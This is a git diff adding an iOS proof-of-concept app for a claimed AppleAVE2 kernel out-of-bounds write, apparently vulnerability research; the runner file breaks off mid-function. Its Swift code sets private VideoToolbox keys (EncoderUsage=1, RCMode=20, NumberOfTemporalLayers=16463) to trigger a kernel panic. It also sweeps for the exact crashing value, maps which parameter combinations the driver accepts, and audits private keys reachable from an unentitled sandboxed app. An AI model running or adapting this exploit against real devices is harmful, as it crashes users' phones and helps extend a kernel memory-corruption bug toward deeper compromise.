zK(8|79xQxk#0Ghh{#0TW%eX({wR(%+_+R$E33m{?-oceRk09cXM);q-#sHHbwg-L4 zLnI5GqnreyFqHcu$F|K{8iI_oWtl=TpbkP_h9@Ltb|HuHa-+oXjiulkS!717nkIB`xnz17qY z6T9jqtm)pPBRa^GG*j9ttyIX*v*OTnEr9y z`d^bL-N~=GV^K4WFYw@ncgE_>h}WhAVh2QLCNrBg5Y5QLGKC=G0o`tymeW=(n%n&;jM8497yGkPB>EjX@`n3Sdq;d9TcvufN%qiC=PVpD!(0u%P%=vWi*r!1n|Gx|*`(rDVzps;|I z@lWjL)9G4d5`EOebbGtz)|U(jdU{Q<_ej4UrZ7nY9}V}sB1)tl22g@r2j9hyV|RI9 zNXQ3&O;O4hiL&43=&DY;X0&ZWXnb!0L&I%70T$NMJjC2z!Xyi= z*01$qz_AnwmQFh)wX?}@j4+GYCJ6gGFudTma8^IWjT!A&+IPJXvHP0p?q5-VE_cl? zcBp;DAm4R2JH(xBKr_=$AyjOM=6v6IPN|G2Ta`WiJ66-mi={n5zQv}TA$vqiZ(5J2 zw4}Hz%Nvk^x#cyRu9vs8lrf%+<;KbY*RjEY15*=DW5F|~re~+kmc$E}pS~O^U^DCk zH*3`_23_4|K}jLhcn_*C?PTSEC)=*`&W-A;Rydt)D{?3`efn(G1nZlbUV^!k$%8oa z9SOf-p>hTbt?cy3r1zzbS@EC%UlU(&^;>%=YVx&`A+W%AMt`(hp))dsAC}clh&!z$WR-H+#40yMZ+tiUS8?&6u zIc($n*#ogUep@)ZIoEX5Z)MUYT4RjXJxBwvI|Fue^xT%i)Lz?*nF!0mhbiBh~3UbB=>GpQ9%qh_bG=TLmUPbjjv)jYwrhT>^CrOj@GRB# zuuAb6wJZl80{=*fUEJO!s@gf^Knd;MJklmAQ9~2o1u$P_lvo&WVzeL=ZgK)RdA0k5 zKAN}GMsrqf&%w%vBll6w#{h*lhQ$A*sgg5poT-`zPEWU71LvQ8Wa6A6Woq|rzL++byEqLn9%yv^(+@qerzC! zpwk8a-TD^kSURiM5b^1pZ@q#)2qLn+V%qHnaI*o8h%}VwOCN^iP*XsI-_POee&Tx~pgHQimO_qPo%gi7r&f&ItBJ*#Tzb6s%QW2n z7y+Vj8ovwuH}gm)XIvfHD*&jXk|mm;B1Wo%d~r#fJPmy00t!JPNAt_gZLcyQQ)oi{ z{Y?W}m2VtnV$v%O#3e{&eCD{HhX9eMpijIJXA*9hU!@PN>oH8a(yg5@o21pjxSnQ- zrp?V`LcVby-@U>HJv&Q1`RERh+%|nx8${}YxiXpO;qN*4Jc!8m8>y9sQ8#P<5_1pq z!3@X{ubY|^D?9Fjw9OojiC#Q74~cnxT)4{5*BL8=8#e(vu^!|al(&jG%#Z$xL#s!xC6*b%-o*S=lz z=YpW_BY~jg1{zFGyu!9p3|Dd`R|*^Kn%o|F1ebLn()3N9bs9!La^t4~SWE?qvA zqk#ycd?MrT_23K$P-F_R6D&MLGKg*fIlNZV(0L74v8|0}5@r7m_<*|8uUXOIpcQ#5 zC@E+h&mhfWtSb*!(dRqUwKxBcGsgP$^n(8efuD5dO(yd;UGZ*s=0@b-;abXqsJ9^K z4~$^D1o03XK|M4F3WSK1M$A`aBH7NR9vZv1w0y%9wiGCeflX zMs-&F_sWf5=aD4QmiZi!boj_@2@Idu>w^6uQ}Y-gUH2(dzbcqY%>--wefck zd|(y0ZLXb0@C=|PUrM!-2a7E_MY`PIyCb9jY_&`OCcY}wmzYuS(*rL+kEjh# zT!KXd`rOOsme*cQfn%+Iw}^{~EI7Gc>z+5;VDDl`mh8@GQ92YloG~xn+qSYnACnEp zAN+qL^^(`ps*b2Ln*VVzg+L#J%>nRh$BgFUD96$!|BqJ4o9Ced#^PMr&fP&2VAy&# zoubM9GM}1&MTqB+$y;*8Gp)*y$p5X>A}%n8nrufWcN-G5HcwlTq=8EcNapJ@N=Q$Yx z9`E%N7R4>i(%fo5fkH3}S%!;ZOwcEjMFX~#Beh{aGh$KX!%5-=wXr=##$X`~A`>d{ zx{UE(gG9aU%iLLqxbK)NHPx}4uC!PmjUWAX|*WNo*6+`wqSdpP!+cPw3JXHB8K( z77y!l3q@t!qO|JFYmtjk#4U;|Q%c{?^v&B-g)&LtLH;&mgAVwlmTQwKHY~7YIEzH; z2<=!piKUYk8>8E6tk&iVkU;X$8rNS1#d2@e788#4_w`FHk-)eH^}9N%_n%f=38h5} zbs>4Dkh^En0n~?EO`Fhnxu4|Sbl){dMN0X6CtA6q%sgW&EpoOVA)%9AMcSa9-*FKF zwW@PfcHt%MlKW?2{Juxtu7nn4isZ}zZ3atY? zqbub6{9ph@$ZGBT7dYyORn}YSSII`A4f~S^%3Ot2t4Jn>d}X2d%&km^JKq^7axl_8 z(pz?`l6otul5hNnRYo|CqK0gmJ8}DMJGJd=c&0Ktr2inZWKJnAR1aBaMkRJ=`rr9| zSdR!O`Bnec0^}z@e0tVRpblSq4qrJc)Y>=HNO%Eq=kycHD=LC2>bDudoEeG`3rN_O zioahz{aQ37>BhCXXciC5iV&nkMn&$F`7YNKSz#L(<|rGs&tOvPVc+ZtTgxFFQYCO6 z(tcv-+S-@zQTo1kK4h!Koy^<&yT-z9ve+^+B+w-)aE7n3Vxd!r?o1~w8YMZ&Xm%2|9WjWJ zSYFn-ExWy7ZINs3afE;LQ-zCQzMxES!TL@<6r#g>R@$+@F5?Ws;;TQzIoE&Ldc8Hb zj*YMxzD8{`T=!o!1k4y1YIxuc%torN!0yfOqKP$ELPqN1GziFO?Sc}U@fDFV{eKhp z&O8}K3aSV+*GeIp;|?=^c$l`nc+wi7mM=bYEsP|#sqb!s#gaY?B{~Ae1s}h>WKc31 ze{bXJn7!ZPN=TTslgbmSkSl8(#?&U%;1|5GfwNY|mc3|drP>Dt4%h`YLQjKtOb<^2 zL-IwreG%Q~9Crp}h3soUQDpmfmGq{RDf#Ms(mJLR6K3`rBn)G}b*gHmKgVHoZP?8o zBls#xD_)RJP!p~aKD?1@du+eO?xUzM3rlHY_g1F&H2NfCyLZudiKEL?h z=m=Q@(30S1A4l=$oe+NaHN94*@iZ%W&W$OZu*FZz>t9?(amZi6GZGe-%yu#`+4<#= z`$3@|kxs$7QPDuJ`6R>nd`O2&(*oDeL<-V4V`$CJ-2K`r=J?kQEX}*dm+X)v7)qDZ zR{!LDZ*lze@p8z=*z74Y1c?|K^7l_LY2;Lr2&$_tCF<$}AI( z!@#SiHSuBDQT1{P!Y{gKJAOg>NXipjIDc$=Njv>0nnHlD^j`zUKi_b?{qcNAOJYwP z8L1dN93d-}iUl1vJ65`xX>6KB(n?!~LTPepAZNNphEhL_q}-S7#kvr(sb~oS4s%S` z^fgFWtPFlpAfO7FD`3B37s~$PK3dCNRemYtWx$O~BSm4Phku*m5W9tHf^@Yh-8Mtl zOpR|*SiA!fc!Zi*C_epaNSql`Q`WR*V%Twa_Cr|Zr6R_@TKOi~4{5bzipbOcNE<)a zWx4c_iCxt)SNbs9Hh<`&Z(g6svq&mx{(bzD<9zPC`n33$uVKAMmM)3(mtB>12#2mm zge5xd8<%Iwj1Z$SRtxQsWjb8DU=w3RIo``-0lkj0EeF z*(Hp`+PY>*oy2}UrZE`_!Lui;n@;_V$!;C=a%gL5S`&LXdpKn&9YH>X%joR0nZDkLb7xHy^G$Agguh` zWk2L*hZIEI+&=KaF~{#>$RdaNFsHDPd676};G4OBwW&ArkK4kp0$VjEse`O?C~+=X zG`>GFzDs)OVt#1I$s#SJ?`-a!XM;ii6h27wX;{>;wy2>#?B~SF?4wUEhg`eed}s8& oql;f=$e-J@|9*Lqy-LAqt2Z)j3_9`>-r+;MR`___T^1<#AIUq*NdN!< literal 0 HcmV?d00001 diff --git a/Resources/Assets.xcassets/AppIcon.appiconset/Contents.json b/Resources/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..f22e10c --- /dev/null +++ b/Resources/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,14 @@ +{ + "images" : [ + { + "filename" : "AppIcon-1024.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Resources/Assets.xcassets/Contents.json b/Resources/Assets.xcassets/Contents.json new file mode 100644 index 0000000..73c0059 --- /dev/null +++ b/Resources/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Sources/App.swift b/Sources/App.swift new file mode 100644 index 0000000..da975c3 --- /dev/null +++ b/Sources/App.swift @@ -0,0 +1,254 @@ +// AVE27 · app entry + stage console UI +// Two drive modes: +// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13, +// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC +// 2. interactive: pick a stage, set the layer count, run, watch the live console +// Every launch checks the panic journal first — an unfinished armed run plus a +// changed kernel boot time is reported as the panic that ended it. + +import SwiftUI +import UIKit + +@main +struct AVE27App: App { + var body: some Scene { + WindowGroup { RootView() } + } +} + +/// Bridges the Probe singleton's append-only log to SwiftUI. +final class LogStore: ObservableObject { + @Published var text: String = "" + init() { + Probe.shared.onUpdate = { [weak self] in + let snapshot = Probe.shared.log + DispatchQueue.main.async { self?.text = snapshot } + } + } +} + +struct RootView: View { + @StateObject private var store = LogStore() + @State private var ntlText = "16463" + @State private var keyText = "NumberOfTemporalLayers" + @State private var fileText = "avc_900_slices.h264" + @State private var running = false + + private var ntl: Int { Int(ntlText) ?? 16463 } + + var body: some View { + VStack(spacing: 0) { + header + stageMenu + console + } + .background(Color.black.ignoresSafeArea()) + .onAppear(perform: launch) + .toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } } + .preferredColorScheme(.dark) + } + + // ── header ──────────────────────────────────────────────────────────── + private var header: some View { + HStack(alignment: .firstTextBaseline) { + VStack(alignment: .leading, spacing: 2) { + Text("AVE27") + .font(.system(.headline, design: .monospaced)) + Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine) + .font(.system(.caption2, design: .monospaced)) + .foregroundStyle(.secondary) + } + Spacer() + Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD") + .font(.system(.caption2, design: .monospaced, weight: .bold)) + .foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green) + } + .padding(.horizontal).padding(.vertical, 8) + } + + private var deviceLine: String { + let os = ProcessInfo.processInfo.operatingSystemVersion + let ver = "\(os.majorVersion).\(os.minorVersion)" + var size = 0 + sysctlbyname("hw.machine", nil, &size, nil, 0) + var machine = [CChar](repeating: 0, count: size) + sysctlbyname("hw.machine", &machine, &size, nil, 0) + let model = String(cString: machine) + return "iOS \(ver) · \(model)" + } + + /// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900. + private var panicCapable: Bool { + let os = ProcessInfo.processInfo.operatingSystemVersion + return (os.majorVersion == 27 && os.minorVersion <= 1) + } + + // ── stage menu ──────────────────────────────────────────────────────── + private var stageMenu: some View { + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 8) { + stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) } + stageButton("stage13 sweep") { Probe.shared.stage13() } + stageButton("stage14 matrix") { Probe.shared.stage14() } + stageButton("stage15 audit") { Probe.shared.stage15() } + stageButton("SBE") { Probe.shared.stageSandboxExtensions() } + Divider().frame(height: 24) + stageButton("stage1 props") { Probe.shared.stage1() } + stageButton("stage7 dump") { Probe.shared.stage7() } + stageButton("fuzz") { Probe.shared.fuzz() } + stageButton("stage5 layer") { Probe.shared.stage5() } + stageButton("stage21 ids") { Probe.shared.stage21() } + Divider().frame(height: 24) + stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) } + stageButton("stage6 dump") { Probe.shared.stage6(num: 4) } + stageButton("stage10 ps") { Probe.shared.stage10(n: 8) } + stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) } + stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) } + stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) } + stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) } + stageButton("stage4 pps") { Probe.shared.stage4(count: 16) } + } + .padding(.horizontal).padding(.bottom, 6) + } + } + + private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View { + Button { + runStage(action) + } label: { + Text(label) + .font(.system(.caption, design: .monospaced)) + .padding(.horizontal, 10).padding(.vertical, 6) + .background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14))) + .overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28))) + } + .buttonStyle(.plain) + .disabled(running) + .opacity(running ? 0.4 : 1) + } + + private func runStage(_ action: @escaping () -> Void) { + running = true + DispatchQueue.global(qos: .userInitiated).async { + action() + Probe.shared.writeReport() + DispatchQueue.main.async { running = false } + } + } + + // ── console ─────────────────────────────────────────────────────────── + private var console: some View { + ScrollView { + ScrollViewReader { proxy in + Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text) + .font(.system(size: 10.5, design: .monospaced)) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(8) + .id("tail") + .onChange(of: store.text) { _, _ in + proxy.scrollTo("tail", anchor: .bottom) + } + } + } + .background(Color(white: 0.06)) + .overlay(alignment: .top) { paramRow } + } + + private var paramRow: some View { + HStack(spacing: 12) { + VStack(alignment: .leading, spacing: 1) { + Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary) + TextField("16463", text: $ntlText) + .keyboardType(.numberPad) + .font(.system(.caption, design: .monospaced)) + .frame(width: 84) + .textFieldStyle(.roundedBorder) + } + VStack(alignment: .leading, spacing: 1) { + Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary) + TextField("file", text: $fileText) + .font(.system(.caption, design: .monospaced)) + .textFieldStyle(.roundedBorder) + } + Spacer() + } + .padding(.horizontal).padding(.vertical, 6) + .background(.thinMaterial) + } + + // ── share ───────────────────────────────────────────────────────────── + private var shareButton: some View { + Button { + let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + let url = docs.appendingPathComponent("ave_report.txt") + try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8) + let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url], + applicationActivities: nil) + UIApplication.shared.connectedScenes + .compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController } + .first?.present(av, animated: true) + } label: { + Image(systemName: "square.and.arrow.up") + } + } + + // ── launch: panic evidence first, then argument dispatch ───────────── + private func launch() { + running = true + DispatchQueue.global(qos: .userInitiated).async { + Probe.shared.checkPanicEvidence() + runFromArguments() + Probe.shared.writeReport() + DispatchQueue.main.async { running = false } + } + } + + /// Original repo dispatch, verbatim parity — runs when launch arguments are present. + private func runFromArguments() { + let args = ProcessInfo.processInfo.arguments + let p = Probe.shared + guard args.contains(where: { $0.hasPrefix("--") }) else { return } + if args.contains("--fuzz") { p.fuzz() } + else if args.contains("--sbext") { p.stageSandboxExtensions() } + else if args.contains("--props") { p.stage1() } + else if args.contains("--stage5") { p.stage5() } + else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count { + p.stage20(file: args[i + 1]) + } else if args.contains("--stage21") { p.stage21() } + else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count { + let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1 + let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0 + p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage) + } else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count { + p.stage11(n: Int(args[i + 1]) ?? 3) + } else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count { + let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0 + p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage) + } else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count { + p.stage9(n: Int(args[i + 1]) ?? 12742) + } else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count { + let lo = Int(args[i + 1]) ?? 16450 + let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470 + p.stage13(lo: min(lo, hi), hi: max(lo, hi)) + } else if args.contains("--stage14") { p.stage14() } + else if args.contains("--stage15") { p.stage15() } + else if args.contains("--stage7") { p.stage7() } + else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count { + let key = args[i + 1] + let vals = args[i + 2].split(separator: ",").compactMap { Int($0) } + p.stage8(key: key, values: vals.isEmpty ? [8] : vals) + } else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count { + p.stage6(num: Int(args[i + 1]) ?? 1) + } else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count { + p.stage4(count: Int(args[i + 1]) ?? 16) + } else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count { + func intArg(_ name: String, _ def: Int) -> Int { + guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def } + return Int(args[j + 1]) ?? def + } + p.stage2(value: Int(args[i + 1]) ?? 8, + realtime: !args.contains("--nort"), + efr: intArg("--efr", 30), blr: intArg("--blr", 15)) + } else { p.stage1() } + } +} diff --git a/Sources/Explore.swift b/Sources/Explore.swift new file mode 100644 index 0000000..bdc1512 --- /dev/null +++ b/Sources/Explore.swift @@ -0,0 +1,144 @@ +// AVE27 · exploration stages — what lies beyond the panic +// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write. +// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private +// parameter combinations the driver accepts from a stock sandboxed app. +// stage15: private property key audit — the full acceptance surface of +// non-public VideoToolbox keys with no entitlement behind them. +// All three share the live.txt oracle; stage13 arms the panic journal per rung. + +import Foundation +import VideoToolbox +import CoreMedia +import CoreVideo + +extension Probe { + + /// Stage 13: NTL threshold sweep, one session per rung, bottom-up. + /// On a vulnerable build the walk panics at the first landing rung — live.txt + /// ends on that rung and the panic journal proves it after the reboot. + /// On 27.2 the first rung past the cap returns -12900 at SetProperty and the + /// sweep stops clean: two disjoint, unambiguous signatures. + func stage13(lo: Int = 16450, hi: Int = 16470) { + emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)") + for n in lo...hi { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage13(\(n)): no session"); return + } + let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1)) + let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20)) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, + value: NSNumber(value: n)) + if st != 0 { + emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached") + VTCompressionSessionInvalidate(session) + break + } + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return } + armJournal("stage13", ntl: n) + let pts = CMTime(value: CMTimeValue(0), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " + + readBack(session, "NumberOfTemporalLayers" as CFString)) + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + VTCompressionSessionInvalidate(session) + finishJournal() + if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break } + } + emit("stage13 complete — device survived every rung") + } + + /// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic + /// recipe is one cell of this grid; the rest maps which private mode selectors + /// the driver honours from an unentitled third-party process. + func stage14() { + let usages = [0, 1, 4, 8, 16] + let rcmodes = [0, 1, 8, 20, 22, 23] + emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)") + for u in usages { + for rc in rcmodes { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage14 u\(u) r\(rc): no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u)) + let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc)) + let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8)) + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage14: no pixel"); return } + let pts = CMTime(value: CMTimeValue(0), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)") + VTCompressionSessionInvalidate(session) + } + } + emit("stage14 complete — acceptance matrix above") + } + + /// Stage 15: private property key audit. Which non-public VideoToolbox keys a + /// stock, sandboxed, unentitled app can set on an Apple hardware encoder session — + /// the privilege surface beyond the crash. Accepted keys reach the kernel driver + /// through the same unvalidated property path the CVE lives in. + func stage15() { + // (key, probe value): numbers probe the scalar path, arrays the table path + let probes: [(String, Any)] = [ + ("EncoderUsage", NSNumber(value: 1)), + ("RCMode", NSNumber(value: 20)), + ("NumberOfTemporalLayers", NSNumber(value: 4)), + ("NumOfTemporalLayer", NSNumber(value: 4)), + ("NumOfGOPLayer", NSNumber(value: 2)), + ("BaseLayerFrameRate", NSNumber(value: 15)), + ("MCTFStrengthLevel", NSNumber(value: 3)), + ("MCTFMaxNextRefNum", NSNumber(value: 2)), + ("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString), + ("LRMERSPassNum", NSNumber(value: 1)), + ("MultiReferencePSpacing", NSNumber(value: 3)), + ("NumNegativePics", NSNumber(value: 4)), + ("NumPositivePics", NSNumber(value: 0)), + ("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), + ("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray), + ("RPSData", [NSNumber(value: 1)] as CFArray), + ("RPSInfo", [NSNumber(value: 1)] as CFArray), + ("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray), + ("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray), + ("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), + ("EnableUserRefForFacetime", kCFBooleanTrue as Any), + ("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2), + "AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary), + ("TemporalIDNestingFlag", NSNumber(value: 1)), + ] + emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)") + var accepted: [String] = [] + for (key, value) in probes { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage15 \(key): no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef) + let rd = readBack(session, key as CFString) + emit("stage15 \(key) -> status=\(st) readback: \(rd)") + if st == 0 { accepted.append(key) } + VTCompressionSessionInvalidate(session) + } + emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))") + emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app") + } +} diff --git a/Sources/Runner.swift b/Sources/Runner.swift new file mode 100644 index 0000000..b73ebd4 --- /dev/null +++ b/Sources/Runner.swift @@ -0,0 +1,1038 @@ +// AVE27 · standalone POC app for CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers OOB write) +// Runner: all encoder-side stages ported from MchinaMd57764/AVETemporalPoC +// (original discovery: Calif / Chollima team). stage9 is the panic trigger: +// EncoderUsage=1 + RCMode=20 + NumberOfTemporalLayers=16463 → kernel data abort +// in com.apple.driver.AppleAVE2 on iOS 27.0.1; 16462 survives; 27.2 returns -12900. +// Live oracle: Documents/live.txt — the last line before a panic is "stage9(...) encode[0]". + +import Foundation +import IOSurface +import VideoToolbox +import CoreMedia +import CoreVideo + +private let decLock = NSLock() +private var decResults: [String] = [] + +final class Probe { + static let shared = Probe() + private(set) var log = "" + /// UI refresh hook — set by ContentView so the console updates live. + var onUpdate: (() -> Void)? + + // ---- panic journal: written before any panic-capable encode, checked on next + // launch. An unfinished record + a changed kernel boot time = the run ended in + // a kernel panic (the in-app equivalent of the .ips ResetCounter evidence). + private lazy var journalURL: URL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("panic-journal.json") + + struct PanicRecord: Codable { + var stage: String + var ntl: Int + var bootSeconds: Int64 + var startedAt: String + var finished: Bool + } + + func bootSeconds() -> Int64 { + var tv = timeval(tv_sec: 0, tv_usec: 0) + var len = MemoryLayout.size + sysctlbyname("kern.boottime", &tv, &len, nil, 0) + return Int64(tv.tv_sec) + } + + func armJournal(_ stage: String, ntl: Int) { + let rec = PanicRecord(stage: stage, ntl: ntl, bootSeconds: bootSeconds(), + startedAt: ISO8601DateFormatter().string(from: Date()), finished: false) + if let d = try? JSONEncoder().encode([rec]) { try? d.write(to: journalURL) } + emit("journal armed: stage=\(stage) ntl=\(ntl) boot=\(rec.bootSeconds)") + } + + func finishJournal() { + guard let d = try? Data(contentsOf: journalURL), + var recs = try? JSONDecoder().decode([PanicRecord].self, from: d), !recs.isEmpty else { return } + recs[recs.count - 1].finished = true + if let d = try? JSONEncoder().encode(recs) { try? d.write(to: journalURL) } + } + + /// Called on launch: if the last armed run never finished and the kernel has + /// rebooted since it armed, that run panicked the device. + func checkPanicEvidence() { + guard let d = try? Data(contentsOf: journalURL), + let recs = try? JSONDecoder().decode([PanicRecord].self, from: d), + let last = recs.last, !last.finished else { return } + let now = bootSeconds() + if now > last.bootSeconds { + emit("PANIC EVIDENCE: stage \(last.stage) ntl=\(last.ntl) armed at \(last.startedAt) never finished") + emit("kernel rebooted since (boot \(last.bootSeconds) → \(now)) — that run ended in a kernel panic") + emit("confirm against Settings → Privacy → Analytics → panic-evidence .ips") + } + } + + private lazy var liveURL: URL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("live.txt") + + func emit(_ s: String) { + log += s + "\n" + NSLog("AVEPOC %@", s) + onUpdate?() + let dir = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + var isDir: ObjCBool = false + if !FileManager.default.fileExists(atPath: dir.path, isDirectory: &isDir) || !isDir.boolValue { + try? FileManager.default.removeItem(at: dir) + try? FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true) + } + if let d = (s + "\n").data(using: .utf8) { + if let h = try? FileHandle(forWritingTo: liveURL) { + h.seekToEndOfFile(); h.write(d); try? h.close() + } else { + try? d.write(to: liveURL) + } + } + } + + func fourCC(_ v: OSType) -> String { + let bytes: [UInt8] = [ + UInt8((v >> 24) & 0xff), UInt8((v >> 16) & 0xff), + UInt8((v >> 8) & 0xff), UInt8(v & 0xff) + ] + return String(bytes: bytes, encoding: .ascii) ?? "?" + } + + func makeSession(codec: CMVideoCodecType, w: Int32, h: Int32) -> VTCompressionSession? { + var session: VTCompressionSession? + let status = VTCompressionSessionCreate( + allocator: kCFAllocatorDefault, + width: w, height: h, + codecType: codec, + encoderSpecification: nil, + imageBufferAttributes: nil, + compressedDataAllocator: nil, + outputCallback: nil, + refcon: nil, + compressionSessionOut: &session) + emit("VTCompressionSessionCreate(\(fourCC(codec))) status=\(status)") + return session + } + + func readBack(_ session: VTSession, _ key: CFString) -> String { + var out: CFTypeRef? + let st = VTSessionCopyProperty(session, key: key, allocator: kCFAllocatorDefault, valueOut: &out) + if st != 0 { return "copyErr=\(st)" } + if let n = out as? NSNumber { return "value=\(n.intValue)" } + return "value=\(String(describing: out))" + } + + /// Stage 1: only set/read properties. No encode, no frame submission. + func stage1() { + var encoderList: CFArray? + let lst = VTCopyVideoEncoderList(nil, &encoderList) + if lst != 0 { emit("VTCopyVideoEncoderList status=\(lst)") } + if let list = encoderList as? [[String: Any]] { + for e in list { + let codec = (e[kVTVideoEncoderList_CodecType as String] as? NSNumber)?.uint32Value ?? 0 + if codec == kCMVideoCodecType_HEVC { + emit("encoder HEVC: \(e[kVTVideoEncoderList_EncoderID as String] ?? "?") name=\(e[kVTVideoEncoderList_DisplayName as String] ?? "?")") + } + } + } + + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session") + return + } + + var encoderID: CFString? + var supported: CFDictionary? + let s1 = VTCopySupportedPropertyDictionaryForEncoder( + width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, + encoderSpecification: nil, encoderIDOut: &encoderID, 